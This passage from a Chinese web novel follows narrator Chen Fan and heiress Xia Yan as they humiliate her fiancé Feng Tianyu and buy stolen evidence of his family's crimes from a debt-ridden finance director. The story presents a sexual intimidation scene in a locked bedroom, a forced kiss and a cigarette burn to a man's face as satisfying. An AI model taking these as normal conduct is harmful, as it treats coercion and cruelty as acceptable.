“颜颜……我……你误会了……”冯天宇赶忙向夏颜解释,他做梦都没想到,夏颜竟然全程听到尾。
“住嘴,颜颜也是你喊的?”夏颜面色冰冷,看不到任何的表情。
“既然你冯天宇不认识我,那我也不认识你!”
“颜颜,你听我解释,是这个苏韵一直纠缠我,你也知道……”冯天宇小声的跟夏颜解释。
我瞄了瞄苏韵的脸色,她难看到爆炸,她气的直喘气,然后直接冲到夏颜的面前,怒骂道:“你谁啊,你离我男人远一点!”
“滚!”冯天宇直接骂了苏韵。
苏韵呆立在当场,她气呼呼的直接骂道:“冯天宇,你什么意思,你竟然为了这么一个女的来骂我!她……”
“老子让你闭嘴!”
啪!
冯天宇一个耳光就甩了过去,苏韵的脸上马上浮现红手印!
“你竟然打我,冯天宇,我跟你拼了!”苏韵哭着扭打着冯天宇。
“陈凡,你怎么认识的夏颜,你给我说清楚!”冯天宇指着我质问。
刚才还风光无限的两个人,现在成了小丑!
不过冯天宇的话,倒是提醒了李浩。
李浩第一个反应过来,脸上瞬间堆满了谄媚到极点的笑容,腰几乎弯成了九十度,声音颤抖着:“夏总!您好您好!我是陈凡的大学班长李浩!没想到您大驾光临,真是让我们这同学会蓬荜生辉!蓬荜生辉啊!”
他语无伦次,恨不得抽自己几个嘴巴,后悔刚才为什么要那样嘲讽我。
张丽也挤出一个比哭还难看的笑,声音发嗲:“夏总,您……您真是比电视上还漂亮!陈凡,你真是的,认识夏总这样的人物,也不早点跟我们说,害得我们……”
我淡淡地打断她:“我跟谁交往,需要向你们汇报吗?”
张丽的表情瞬间僵住,讪讪地不敢再说话。
李浩笑着说:“陈凡,你看,咱们都是同学,都是关心你,夏总,您说是不是?”
“你刚才说你在华颜上班?”夏颜问道。
“是是,夏总,我是华颜的项目小组组长,在公司已经3年了,一直兢兢业业,参与许多项目的设计制定工作……”
李浩觉得机会来了,他滔滔不觉的介绍自己,想要攀上夏颜高枝,想要获得机会。
“你被解雇了……”夏颜直接说道。
“什么?夏总,这……你在说什么?”
李浩愣在了当场,他想要晋升的美梦也破碎!
“没听懂?”夏颜冷冷道:“既然你那么跪舔冯天宇,那就去他们公司好了,我们华颜,不会要你这样的员工!”
李浩面如死灰!他做梦都想不到,他来参加一个同学聚会,竟然会丢掉了工作,那可是一年20万的年薪啊!
活该!
我冷冷的看着这些人,他们从刚才的瞧不起我、到现在对我的刮目相看,他们转变的可真快!
“陈凡……”夏颜走向了我,挽着我的胳膊说道:“这种聚会,不来也罢,他们的认知,只会降低你的层次。”
夏颜的一句话,无异于打脸了众人,在嘲笑他们认知低,没水平,更加的不上档次。
“颜颜,好,我都听你的!我们走!”
我的一句颜颜,夏颜肉眼可见的羞红了脸,这让她别样的动人。
夏颜挽着我的胳膊,她紧紧贴着我,我们两个人在众人诧异目光中,离开了这个包房。
“陈凡,你给我站住!你跟夏颜怎么回事,你给我说清楚!”
“冯天宇,你给我个解释!”
我不理会那两个跳梁小丑,我和夏颜走出了包房。
我深吸了一口气,感觉呼吸都顺畅了,原来离傻子远点,等于重获新生。
我递给了夏颜头盔,她笑着接过,熟练的带上,然后坐在了我的电动车后座。
今晚这个装逼打脸,真的爽,我想起冯天宇那个脸,我就觉得痛快!
尤其是他追问我和夏颜什么关系的时候,我更是爽到了!
“去哪里?”我问。
“去我家……”
“啊?”我愣了一下。
“陈凡,我很喜欢你喊我颜颜!”
夜幕中,她大声的说着,然后搂我搂的更紧了!
007夏颜邀我回家(下)!
初夏的夜晚,晚风吹着一些凉意。
我骑着小电驴,载着夏颜穿过老街,穿过小巷。
我故意将骑得很快,这样,夏颜就搂着我会更紧。
她的身体很柔软,紧紧的贴合着我的后背,我甚至能感觉到她身体的玲珑曲线,她的身体是香的,她的呼吸也是香的,这让我不仅有些心猿意马。
我多希望时间能够就在此时定格,这样,我就能真正拥有夏颜了。
“今天很解气,颜颜,谢谢你!”
我说的是真心话,我一想到冯天宇看到夏颜和我亲近的样子,我心里别提多爽了,他做梦都想不到,他的未婚妻竟然会跟我在一起。
“你开心就好。”夏颜的语气里带着一起的喜悦,道:“这样吹着风的感觉真好,连空气都是自由的味道!”
我明白夏颜话里的意思,像她这样的家庭,婚姻都是家族包办的,哪有什么自由可言?
“陈凡,谢谢你,让我感受到了自由的味道!”
夏颜的笑容犹如银铃一般,清脆动听。
我故意放慢了车速,因为我想多让她抱着我一会儿,这样美好灵动的女孩子,我怎么会不喜欢呢?
我们两个人近在迟尺,穿梭在城市中,一种亲近感油然而生,有那么一瞬间,我觉得我和夏颜很近很近。
当我把车骑到夏颜的豪华公寓时,一个不速之客,已经站在小区的门口等着了,那个人正是冯天宇,他手捧着一大束玫瑰花,嘴里叼着跟烟,四处张望。
“冯天宇?你来干什么?!”
夏颜脸色不悦,脸上的笑容瞬间消失。
冯天宇看到我扶着夏颜下车,他的眼珠子都要掉出来了,他满脸写着不可置信!
“陈凡,把你的脏手给我拿开!”冯天宇直接冲了过来,他被我打怕了,不敢和我动手,而是对夏颜说:“颜颜,今晚真的只是误会,那个苏韵,不过就是个贱人,她一直纠缠着我,我早就想甩了她,我心里只有你!”
他说着,就要把手里那束巨大的玫瑰花塞给夏颜。
夏颜后退一步,直接避开,然后一脸冷漠道:“冯天宇,你没资格喊我颜颜!我跟你很熟么!”
她的声音不大,却带着一股不容置疑的威严,我在一旁听的暗爽,她说冯天宇没有资格喊她颜颜,可却让我喊她颜颜。
这足以证明,夏颜允许我走近她,我不由望向了身边这个绝美女人……
冯天宇被噎得脸色一阵青一阵白,但他还是不死心:“颜……夏小姐!我们是有婚约的!那是两家长辈定下的!你怎么能怎么能跟这种人来往?”
他终于把矛头指向了我,眼神里充满了怨毒,他指着我,对夏颜说:“你看看他!一个骑共享电动车的穷鬼!他哪点配得上你?他接近你肯定是有目的的!就是为了你的财产!”
“够了!”夏颜语气冰冷,带着嘲讽道:“婚约?那不过是一张纸,在我夏颜这里,它什么都不是。”
“你说他配不上我?”夏颜的目光忽然看向了我,她眼神温柔,道:“他至少靠自己的能力,一天赚了五十万,他敢爱敢恨,做到了真正的坦诚,他永远不会像条哈巴狗一样,在这里摇尾乞怜,还把责任推给一个女人!”
“而你?”夏颜的目光重新回到冯天宇身上,锋利如刀:“除了靠着冯家的背景花天酒地、欺男霸女,你还会干什么!”
“冯天宇,拿着你的玫瑰花,带着你这张令人作呕的脸,赶紧从我眼前消失!”
这是我第一次见夏颜愤怒,她的话就如同刀子刺穿冯天宇的心,冯天宇现在脸色要多难看就有多难看,可他还不放弃。
“颜颜,你对我有误会,我这些都可以改掉的!我为了你什么都能做!你在给我一次机会!”
“滚!”
一个“滚”字,将冯天宇的尊严彻底击碎!
他僵在原地,捧着那束玫瑰,面如死灰,我看着他这副失魂落魄的惨状,心中没有半分怜悯,只有无尽的嘲讽。
于是,我走到夏颜身边,冷冷的对着冯天宇道:“冯天宇,你听不懂人话么?赶紧滚!”
冯天宇猛地抬起头,看看我,又看看面无表情、眼神冰冷的夏颜,指着我怒骂道:“陈凡,你他妈给我等着,老子让你好看!”
说完,他将玫瑰花狠狠摔在地上。
“老子等着你!”
我主动拉着夏颜的手,带着她缓缓走向公寓,路过冯天宇身边的时候,我对着他得意道:“滚开,别挡着我和颜颜回家的路!”
008夏颜的奖励!
回到了夏颜的住所,她随手将包包扔在了沙发上。
“陈凡,你今晚表现的不错,本小姐就奖励你,从今晚开始,住在我家。”
夏颜扶着卧室的门口,手指向里一指,道:“这间卧室,就留给你了。”
酒,是欲望的催化剂。
当我醉酒后,在看向夏颜的时候,我觉得她越发的迷人,我故意凑近她,在她耳边说道:“孤男寡女的,你就不怕我对你图谋不轨?”
夏颜听完我说的话后,她笑了,笑的花枝乱颤,格外迷人。
“不怕,本小姐向来兵来将挡水来土掩!”
夏颜咯咯的笑着,眼神忽然认真,道:“陈凡,你今天对苏韵的态度,确实让我刮目相看,也不枉费我在你身上投入的时间和精力,如果你能靠本事搞垮冯天宇,我说不定真的会喜欢上你呦!”
夏颜踩着轻盈的脚步,她一步一步走向了自己的卧室,只留给我一个妩媚婀娜的背影。
“早点睡吧,我的男友,明天还有新的复仇计划!”
夏颜轻柔的关上了卧室的房门,随即就是锁扣上锁。
我笑了笑,心想:你个胆小鬼,还锁门,到底还是怕我乱来。
我回到了卧室,这里应该是客卧,平时也没有人住,酒精终于上头了,我感觉到了头疼,倒在床上就睡了过去。
我不知道睡了多久,等醒过来的时候,夏颜已经坐在餐桌上吃午饭了。
“我的男友,你总算起来了,不然我都要报警了。”
“报警做什么?”
我特别自然的坐在她对对面,抓起面前的面包就咀嚼了起来。
“还以为你睡到另一个世界了,让警察给你抓回来。”
咳咳!
我被她的话给噎到了,我说道:“你好像很喜欢开我的玩笑。”
“当然。”夏颜扬了扬自己的脖子,调皮的说道:“与男友斗,其乐无穷!”
见我还要说话,夏颜立即说道:“陈凡,调情时间到了,接下来我要和你说正事喽!”
夏颜拿出了一叠厚厚的文件,递给了我,我不用猜都知道,这应该是和冯天宇有关的资料。
我快速的打开资料,尽自己的能力去看懂这上面的东西,虽然我从未涉及商业知识,但我也拿笔画出了重点。
夏颜走了过来,看着我的圈圈点点,她的严重闪过一丝的惊艳,道:“陈凡,你可真是个商业奇才,没想到你能这么快找到冯家的软肋。”
“就是这个东郊的房地产项目对吧。”我指了指红色圈出的笔记。
“没错。”夏颜转过身,身子靠在餐桌上对我说道:“冯家的产业核心是地产,目前冯家最大的命门就是东郊的这块地。”
“冯名城这个人贪得无厌,好色成性,他这些年没少挥霍家产,为了弥补资金空缺,能确保拿下东郊这块地,他挪用了不少集团其他项目资金,听说还用了一些见不得光的灰色收入。”
我马上切中要害,直接说道:“如果这个时候,冯家资金链断掉,你在从中坐收渔翁之利就行了吧?”
夏颜点了点头,道:“我的计划也是这样,不过……”
“不过什么?”
“冯名城怎么可能眼睁睁看着自己的家业倒下,他已经在和银行的人接触了,虽然他的集团资金出了空缺,但如果能贷款成功,应该会渡过难关。”
我一边思考一边说道:“所以,你的目的是,阻碍冯家付款,让他们拿不出这笔钱?”
“没错,你很聪明嘛,我的男友!”夏颜说道:“我会让我掌控的公司,收紧对冯家集团所有的资金投入,制造他们更大的资金短缺,接下来就要看你的表现了……”
“我?”我好奇道:“我要怎么配合你?”
“冯家的有一大部分的项目由冯天宇来做主,冯天宇有个心腹,叫刘伟,他是冯天宇的财务总监,刘伟喜欢嗜赌成性,现在欠了一屁股债。”
“你是想从刘伟做突破口?”我直接问道。
“没错,他应该知道冯家的事,无论干净还是不干净的。”
夏颜双手搭在了我的肩膀上,说道:“我想让你接近刘伟,想办法从他的身上获取到冯家违法的证据。”
我点了点头,道:“想法不错,可行性极高,比抓舌头容易多了。”
我虽然嘴上这么说,可心里对夏颜又多了几分认识,她绝对不是一个花瓶,而是一个心狠手辣的女商人,只要是成为她的敌人,就会被她算计在内。
我甚至在想,如果冯天宇知道夏颜在算计他,是不是后悔这门亲事。
“你准备什么时候接近刘伟?”夏颜主动问我。
“我随时都可以。”我耸了耸肩。
“真可靠,不愧是我看上的男人!”
夏颜的脸上露出了满意的微笑,她主动送上午餐,道:“那就辛苦你了,陈大帅哥!”
我微微一笑,已经习惯了夏颜的性格。
我甚至还挺期待和刘伟的接触,毕竟,这是我要搞垮冯天宇的第一步!
接下来,夏颜将一份资料递给了我,道:“这是我给你新安排的身份,里面有属于你的公司。”
“这是公司办公室的钥匙,这是你的专属轿车。”
“这是你的名片。”
“如果没什么问题的话,陈凡,今晚我会制造机会,让你和刘伟见面,至于能不能和刘伟搭上话,就看你的本事了。”
“我当然没问题,演戏而已!”我胸有成竹的说道。
我手里把玩着名片,上面赫然写着:盛鑫投资集团董事长:陈凡。
都说演戏演全套,夏颜为了给我安排一个合理的身份,真的是煞费苦心,我忽然来了兴致,道:“夏颜,要不要打个赌?”
“什么赌?”夏颜也来了兴致。
“赌今晚刘伟会不会上钩。”我眼神玩味道。
这次该轮到我给夏颜下套了。
“赌注是什么?”夏颜问。
“如果我能让刘伟上钩,你就跟我睡一觉怎么样?”我露出了一副人畜无害的笑容说道。
“呦呦呦!”夏颜提高的声调,脸色红润,她忽然坐在我的腿上,勾着我的下巴问道:“小哥哥,你就那么想睡我?”
“当然。”我眯着眼,手故意放在她的腰间,感受她曼妙的身材,夏颜非但没有阻碍,反而放任我的行为,这让我更加的大胆起来。
夏颜轻轻在我脸上拍了拍,道:“美得你!”
“不过,陈凡,我挺佩服你的勇气,想睡我的人多了,你是唯一一个敢说出口的男人。”
009江湖追杀令!
晚上。
我被夏颜带到了“魅惑”酒吧,在这里,我再一次见识到了夏颜的人脉。
这里是海城的顶级酒吧,出入这里的多半都是社会名流,我和夏颜刚走进来,就被服务员引到了预定好的座位上。
酒吧里灯光昏暗,空气中弥漫着名贵雪茄和香醇葡萄酒的味道,这里每个座位都是卡座,在头顶射灯的照射下,隐约能看出宾客的轮廓,私密性很好。
夏颜点了两杯酒,然后对我眨了眨眼:“这里是海城消息最灵通、最安全的地方,因为这里的老板没人敢惹。”
“呦~”一个娇媚的声音从夏颜身后响起,道:“我说今天怎么本店蓬荜生辉,原来是我们颜颜小妖精来了。”
我抬起头循声望去,只见一个三十多岁的女人,身姿曼妙,妆容精致妩媚,她一身名牌长裙,将婀娜的身姿包裹到极致,举手投足之间,流露出成熟女人的韵味。
“媚笙姐……”夏颜娇滴滴的靠在女人的身上,然后对我说:“柳媚笙,这里的老板,在海城可是有名的大人物。”
“柳姐好。”我笑着举起酒杯,向柳媚笙敬酒。
“颜颜,这位帅哥有点面生,他是?”柳媚笙试探性的询问。
“我的新晋合作伙伴,陈凡。”夏颜说道。
我以为夏颜会说我是她的男友,当她说出合作伙伴的时候,我心里竟然有一丝丝的失落。
“陈凡……”柳媚笙细细打量着我,忽然小声问道:“你当过兵?”
我心中一愣,不由感慨这个女人好眼力,我也没有遮掩,道:“是,当过几年,现在退了,柳姐是怎么看出来的?”
“你的眼神有杀气。”柳媚笙笑了笑,她的腰肢扭动的频率更大了。
“媚笙姐,我这次来是要向你打听个人。”夏颜笑嘻嘻的说。
“我就知道。”柳媚笙指了指夏颜的额头,道:“你这个小妖精无事不登三宝殿,说吧,这次是谁得罪你了?”
“冯家的财务总监,刘伟。”夏颜说道。
柳媚笙皱了皱眉头,略有所思,随后道:“他最近可是有够倒霉的,在澳城那边输了精光,还欠了外债,最近老来我这里,想在我这套点消息换钱。”
“颜颜,刘明不是你家冯天宇的下属么,他还敢惹你?”柳媚笙喝了口酒问道。
“唉,这人长二心了。”夏颜随口敷衍。
柳媚笙是很精明的女人,她点了点头说道:“刘伟现在一个人在外面的卡座喝闷酒,如果需要我的话,报我的名字就行。”
“谢谢媚笙姐。”夏颜喜笑颜开。
“咱们姐妹还提什么谢,改天把你的朋友借我玩两天就好啦。”柳媚笙临走还不忘在我的身上打量几眼,眼神里多了几分欲望。
夏颜立即如临大敌,她跨着我的胳膊,道:“那可不行,陈凡可是我个人专属!”
“行行行,不开你玩笑了,你们玩的开心点。”
柳媚笙把杯子里的酒喝干净后,就离开了卡座,夏颜轻轻怼了我的胳膊,道:“真有女人缘啊,柳大老板都要包养你了。”
我嘿嘿一笑,道:“看来我还挺有市场的呢。”
夏颜白了我一眼,她起身扫了一眼外面的卡座,道:“刘伟就在那儿,该你上场了。”
我点了点头,起身在她耳边小声道:“别忘了我们的赌约。”
“一言为定!”
我整理了一下自己的西装,特意将手腕处的劳力士金表露出来,我看了一眼外面的六号卡座,刘伟整个人看起来颓废、呆滞,想必他现在处境堪忧。
我走到五号卡座坐下,开始点酒,我声音有些大,刘伟被我的声音吵到,他注意到了我,当他看到我手腕上的金表时候,眼神流露出了一点点的贪婪。
虽然只是一瞬间,就被我察觉到了。
我点的酒很贵,我一口口的小酌,当我和刘伟的目光对应上后,我知道,机会来了。
我掏出了一根烟,开始上下摸索口袋,发现没有火机后,故意走向刘伟,道:“哥们,借个火?”
刘伟愣了一下,他显然没有想到我会和他说话,他慌忙的从衣服里掏出个打火机,扔给了我。
我点燃一根香烟,接着扔给了他一根,然后顺势就做在他旁边,道:“这地方虽然挺吵的,但来这里玩的人不少。”
刘伟抽了口眼,打量着我,问道:“哥们看着你面生,你是第一次来?”
我点了点头道:“我刚回国,主要是在国外俱乐部玩惯了,还有点不太适应国内的娱乐项目。”
我故意给自己制造了一个海归的身份,就是为了吸引刘伟的注意力,果然,刘伟来了兴致,他马上到了一杯酒给我。
“哥们在国外是做什么生意的?”刘伟问道。
“国际贸易吧,主要是做投资类的,现在刚回国准备投点项目。”我喝了一杯酒,揉了揉额头,道:“你也知道,国内应酬太多,我的酒局一个接一个,今天好不容放松一下。”
“对对,国内环境就是这样。”刘伟抽了口烟,跟我一起吐槽道:“钱难赚,屎难吃,像我们这种打工人,要伺候好老板,老板高兴日子就好过,老板不高兴,压力大的喘不过气,一不小心就……唉……算了不说了不说了……”
刘伟意识到自己快要说错话了,他马上闭嘴。
我没有继续追问,而是点点头,说道:“理解。”
我故意凑近刘伟,小声道:“尤其是替老板管钱的,费力不讨好,赚钱算老板的,亏了,就得担责任。”
刘伟一听这话,他眼睛里都放光了,他连连点头道:“何止是费力不讨好,老板动不动就要钱,我上哪给他弄钱,我又不是开银行的,天天拆东墙补西墙,做账都得作假的,真怕哪天就……”
刘伟忽然醒悟过来,觉得自己话说多了,差点说漏了嘴,他马上抽两口烟,掩饰尴尬,道:“随便说说,别当真。”
我心想:你就差指名道姓的骂冯天宇了吧,不过也能证实冯家财务确实出了问题。
于是我决定兵行险着,准备拿赌资做诱饵,我故意说道:“前些天,我在澳城玩,听说有个姓刘的欠了那边赌场不少钱,那边都下了江湖追杀令了。”
刘伟瞬间惊的站了起来,道:“什么,江湖追杀令?!”
010你想骗彩礼?
刘伟的脸上哗哗的冒冷汗,他脸色一阵红一阵白,显然是被吓着了。
他坐下来,擦了擦脸,神色慌张的问我:“哥们,你说的都是真的?”
“当然,我亲眼听见的,还能有假。”我喝了杯酒,笑着说:“你怎么这么紧张,那个姓刘的该不会是你吧。”
“是我啊!”刘伟整个人摊在了椅子上,就听见他嘴里嘀嘀咕咕道:“完了,他们一定会杀了我的,怎么办?我的家人怎么办,我的孩子该怎么办?”
“那么多的钱,填不上了……怎么办……”
刘伟整个人已经崩溃,他心里防线彻底崩塌,他双手捂着脸,让人看不清表情。
我继续喝酒,给足刘伟时间来缓解情绪,等到火候差不多了,我若无其事道:“看来刘兄是遇到麻烦了。”
刘伟将手拿开,他抓住了我的手,问道:“老板,你是不是有什么门路能帮到我?只要能帮我度过这个难关,你让我做什么都行。”
“你欠了多少钱?”我问。
“1300万。”刘伟说道。
我弹了弹手里的烟灰,道:“也不是很多钱,至于被逼的走投无路吗?”
“唉!”刘伟叹了口气,说道:“我实在没办反了,我老板现在也没钱了,况且,我还挪用过公司的钱,怼不上窟窿,我老板也不会放过我。”
“兄弟,老板,我看你也不是一般人,你有什么法子帮帮我?”刘伟求我道。
我故作沉默,感觉刘伟这条鱼算是上钩了,我决定收网,于是道:“我的钱也不是大风刮来的,除非你用信息来交换,否则,我也是爱莫能助。”
我将商人重利益的嘴脸演绎的淋漓尽致,唯有这样,刘伟才会相信我。
“有!我有!”刘伟说道:“我有冯氏集团的内部资料,这里涉及到东郊的那块地,这是冯家的命门,你给我1300万,我可以出售给你。”
“资料在哪?”我问。
“在我单位的电脑里。”刘伟说道。
“这是我的电话,到时候拿着资料来找我,我会给你满意的价格。”
我说完将手中的香烟熄灭,然后头也不回的离开了酒吧,我开着那辆迈巴赫,在刘伟的注视中扬长而去。
等我回到夏颜家里,她早就坐在客厅等我了。
“刘伟上钩了?”夏颜问我。
“当然。”我脱下西服,坐在她身边,道:“如果我分析的没错,用不了多久,刘伟就会打电话约我见面,想要出售冯氏集团的内部资料。”
我的话音刚落,一个陌生的号码就打了过来,我伸手轻轻捂住夏颜的嘴巴,然后接起电话。
“喂?”我问。
“陈总,是我,刘伟。”
“有事?”我问。
“我想明天和你一手交钱,一手交货。”刘伟说道。
“明晚,魅惑酒吧见。”
说完我就挂上了电话,我对夏颜说道:“看到了吧,他果然上钩了,夏大小姐,你是不是也要兑现一下自己的赌注?”
“赌注?什么赌注?我可没答应,是你一厢情愿的!”
夏颜说着起身就要跑,我哪里会给她这个机会,直接将她拦腰抱起,然后抱着她走进卧室。
她的腰肢很软,我的手触碰到她的瞬间,浑身的汗毛都立起来了,这个女人,太有诱惑力了。
她顿时惊的花容失色,她惊呼道:“陈凡,你要干嘛,你放开我,你别乱来啊!”
“不是说好了,只要刘伟上钩,你就陪我睡觉。”
“我……我没答应啊!”
我将卧室的门反锁,然后将夏颜扔在了床上,这是我第一次进她的卧室,她的卧室有一种淡淡的香气。
夏颜马上用被子盖住自己的身体,一副如临大敌的样子,她被吓得眼泪都在眼眶里打转。
“陈凡,你混蛋!”
“我真是看走眼了!”
“竟然引狼入室!”
她一边骂我,我一边脱衣服,直到我光着膀子站在她面前的时候,她的眼泪终于掉了下来。
我坐在她身边,抹掉了她的眼泪,问到:“怕了吗?”
“你说呢!”夏颜哭着问我:“我一进门就脱衣服,你怕不怕!”
“我求之不得!”我笑嘻嘻的说。
“你滚蛋!”夏颜骂我。
说来也奇怪,夏颜越是骂我,我心里就越是舒服。
“夏颜,我知道你古灵精怪,诡计多端,但是在我面前,大可不必这样,我既然答应和你对付冯天宇,那就会做到底,所以,不要在试探我了。”
我捡起地上的衣服,然后重新套起,道:“你想用美色来套牢我,我承认你很漂亮,男人见到你没有不动心的,我也一样,但,真诚才是必杀技。”
“想要睡你,我也会正大光明的睡。”
我走到门口,一脸坏笑道:“不过,吓唬你的感觉真挺爽的。”
“陈凡!你给我滚!打车滚!”
一个枕头向我飞来,我随即躲了过去,紧接着我就听见卧室里传来,夏颜的怒骂声。
“陈凡,要不是看你身材还挺好的,老娘早就报警抓你了!”
我苦笑的摇了摇头,这个女人,还真是一如既往的骄傲。
我回到卧室,洗漱后,就睡觉了。
这个晚上,我做了一个奇怪的梦,我梦到夏颜,梦到她成为了我的女朋友,梦到我们两个发生了关系。
甚至,早上起来,我的身体竟然有了反应,看来夏颜对我的吸引力还是很大的。
我打着哈欠走出了卧室,想要和夏颜打招呼,就看见她一脸烦闷的打着电话,电话那头的声音我熟悉的不能再熟悉,是冯天宇。
“颜颜,我想你了,我都好就没见你了,我们今天见一面啊?”
“没空。”
“颜颜,我们的婚事是不是该提上日程了,毕竟我们都见过双方家长了。”
“你是没钱花了?想骗彩礼?”
“额……颜颜,你怎么能这么说,我们冯家在海城多有钱,你是知道的啊,而且,老爸想让你来家里,想把咱俩的婚事定好日子。”
“信号不好,你说什么……”
夏颜直接将电话给挂断了,她看着我,一脸真诚的说道:“陈凡,快点除掉冯家吧,我一天都忍不了了。”
011来自夏颜的奖励!
夜晚的魅惑酒吧,依旧人声鼎沸。
我坐在五号卡座上,在等着刘伟的到来,今晚拿到冯氏集团的资料,夏颜就会直接操作,展开对冯家的一系列打击。
等冯家倒了,我的身价也会水涨船高,那个时候,我就有了和夏颜平起平坐的资本。
我想要征服夏颜,无论是从身体还是心灵。
七点多,刘伟准时出现在了酒吧,他左顾右盼,神情慌张,他看到我后,立即快走几步坐在我面前。
“东西带来了吗?”
我直接开门见山,没有丝毫的拖沓。
“带来了。”刘伟环顾四周,小心的询问:“陈总,那个钱带来了吗?”
我目光冰冷,从上衣口袋里掏出了夏颜早就为我准备好的支票,然后放在了刘伟的面前。
刘伟紧张的拿起支票,他在灯光下仔细瞧着。
“是真的。”我冷冷的回答。
“当然,当然,陈总是爽快人,怎么会在乎这点小钱。”
刘伟原本紧张的神色变得兴奋起来,他刚要把支票放入兜里,我立刻按住了他的手,冷冷道:“东西呢?”
“在这里。”
刘伟从口袋里拿出了一个U盘,他说道:“这是我用了一个晚上的时间,将冯家所有的罪证都收集齐了。”
刘伟将U盘给我的那一瞬间,我发现了他眼睛闪过的狡诈,我突然心生一种不好的预感,我该不会暴露身份了吧?
我立即打量周围,发现了在我斜对面的卡位上,有个男人正看着报纸打量我,但他的报纸竟然拿反了!
我察觉到自己是被人给盯上了,我第一反应就是黑吃黑,这个人很有可能是刘伟派来的。
我突然将那张支票抽了回来,质问道:“刘伟,看来你是不想要这笔救命钱了!你特么的竟然找我盯我?!”
刘伟被我的举动吓了一跳,他立刻解释道:“陈总,你在说什么?我听不懂!”
“听不懂?那你给老子好好看看!”
我直接按着刘伟的头,将他转向斜后方那个男人,那男的见到刘伟后,神色慌张,眼神躲避。
“刘伟,你竟敢耍我,交易取消,拿上你的U盘,给我滚!”
“别!陈总,你误会我了……”
刘伟朝身后的人摆了摆手,那个男的随即就走出了酒吧。
“陈总,我……唉……实话跟您说了吧,我确实想黑吃黑,想等我走后,让手下的人把U盘给抢回来,但没想到,被你给发现了。”
我阴沉着脸,一言不发,刘伟尴尬的直搓手,手都快搓烂了。
“这是你的主意,还是冯家的意思?”我问道。
“是我的,冯家现在还不知道我出卖了他们。”刘伟小声的说道:“陈总,我回不去冯家了,可我不拿你的救命钱,我也活不了,你给我一条生路把,我这里的资料全都是真的!”
“你想怎么利用这个U盘,是你的事情,只求你放我一条生路。”
“陈总,要不我给你跪下了!”
在尊严和活命之间,刘伟毫不犹豫的选择了活命。
噗通!
他硬生生的跪在了我的面前,他低着头,不敢看我,可我看到他浑身都在冒冷汗。
我居高临下,看着他丑态百出,我没有一点的怜悯,反而觉得他活该!
我点燃了一根烟,吞云吐雾间,刘伟就那么跪在我面前,我就是在羞辱他,谁让他敢阴我!
我将燃着的烟头狠狠地烫在刘伟的脸上,滋啦一声,刘伟疼的龇牙咧嘴。
“最后给你一次机会,U盘留下,拿着钱滚出海城!”
我将支票扔在了刘伟的脸上,他连声道谢,捡起支票滚出了酒吧。
我刚要起身离开,就看见酒吧老板娘柳媚笙笑盈盈的朝我走了过来。
她梨涡浅笑,摇曳生姿,婀娜的身段随着音乐律动摇摆,好一个妖娆至极。
我的眼神不由自主在她身上流连。
“小弟弟,没想到你年纪轻轻,竟然是个狠角色!”柳媚笙的手搭在了我的肩膀上,一股玫瑰香水味直冲我的脑门。
“柳姐,您过奖了,我只是个普通人。”
我微微一笑,像柳媚笙这种有背景的女人,我不想得罪。
“呦!”柳媚笙忽然在我屁股上拍了一下,笑骂道:“姐姐夸你两句都不行了?我可没见过谁把刘伟逼的下跪呢。”
“他背后算计我,我干他,就这么简单。”
我拿起桌上的酒杯,然后敬了一杯酒给柳媚笙。
“柳姐,敬你的,以后还请多关照。”
我一饮而尽,柳媚笙笑意盎然,她说:“想让姐姐关照你,那你今晚留下来啊!”
柳媚笙说着用手指勾了勾我的皮带,那一瞬间,我汗毛倒竖,刺激,有趣。
“下次再说吧。”我笑着握了握她的手。
“陈凡,姐姐不得不提醒你一句,颜颜做事风风火火,没轻没重,可冯家不是好惹的,你动刘伟,就等于在动冯家。”
“多谢柳姐,我会小心的。”
我简单道谢后,就离开了酒吧,我估计现在夏颜应该是等着急了。
我坐上了那辆迈巴赫,我并不着急和夏颜汇合,而是开车在大街上闲逛,确定没有人跟踪自己,我才放心赶回了夏颜的家。
“拿到了吗?”
一进门,夏颜就急不可耐的朝我问道。
我将U盘递给了夏颜,道:“刘伟这混蛋跟我玩黑吃黑,让我给识破了,你快看看这个U盘内容是不是真的。”
夏颜眉头紧皱,她立刻拿出电脑读取U盘内容,我在她身边看着,冯家的内部资料全部记录在此,还有许多黑幕,灰色收入,甚至包括冯天宇挪用资金,作假账,违法证据,上面一应俱全。
“有了刘伟的这份资料,只要我稍微运作一下,冯家在东郊的那块地,他们是别想在拿到了!”
“可恶的冯天宇,还想要和我结婚?还想要来见我,现在,我要给他送上一份大礼了!”
夏颜脸上的喜悦溢于言表,她突然朝我小跑过来,在我的脸上吧嗒亲了一口。
“陈凡,你可太棒了,我现在怎么越来越喜欢你了呢!”
“既然这样,那就给点奖励吧!”
我说完,直接拉住夏颜的手,朝她的嘴唇上吻去……
012夏颜对我表白?
当我的唇触碰到夏颜的一刹那,她整个人瞬间倒在了我的怀里,她的身体温热柔软,她的呼吸有些急促,胸口随着我的节奏,剧烈的起伏。
我整个人犹如被电击一般,但更爽的是心里,这个天之骄女,如今正被我采摘。
我不知过了多久,只知道是被夏颜推开了。
夏颜俏脸红的犹如天边的晚霞,她低着头,不敢看我,她故意翻看这资料,一副若有所思的样子。
我也不打扰夏颜,我直接去冰箱拿了一罐啤酒,然后就坐在沙发上畅饮起来。
夏颜不说话,我就不说话,猎人就该有耐心,尤其是对付夏颜这种狡猾的小狐狸。
反正我该亲的亲了,该摸的摸了,要杀要剐,悉听尊便。
深夜,夏颜没有睡觉,她在争分夺秒的布局,整个晚上,她在不停的打电话,作为合作伙伴,我尽量陪同。
“小张,我要求你今晚加个通宵,将冯天宇挪用冯氏集团资金去澳城赌博的事情写个通稿,明天八点,我要海城所有的报纸,媒体,都报道这件事。”
“周经理,我要你明天去有关部门投诉冯天宇。”夏颜一边在客厅打电话,一边用眼神瞄我,道:“冯天宇为了东郊那块地的贷款,伪造了资产评估报告,我这里有证据。”
“丽娜,昌华公司可以运作了,必要时候,你要全力收购冯氏集团。”
夏颜打完最后一个电话,她坐在了沙发上,长舒了一口气,一向斗志满满的她,脸上显露出来了疲惫。
我递给了她一罐啤酒,笑着道:“喝一杯,就当给夏总庆祝了。”
“干嘛?”夏颜白了我一眼,接过啤酒,道:“是不是想灌醉本小姐,然后来个霸王硬上弓,你妹的陈凡,你想都不要想,姑奶奶可是海量!”
夏颜说完,直接仰脖,喝光了一听啤酒。
“难道在你心里,我只是一个贪图美色的人?”
我收起了往日的玩笑,表情异常的认真,我直接坐在夏颜的身边,想要听她的回答。
夏颜直接往边上挪了挪身子,一脸防备道:“我原本以为你是有贼心没贼胆,现在我发现,你不但有贼心,还有贼胆,陈凡,你该不会喜欢上了我把?”
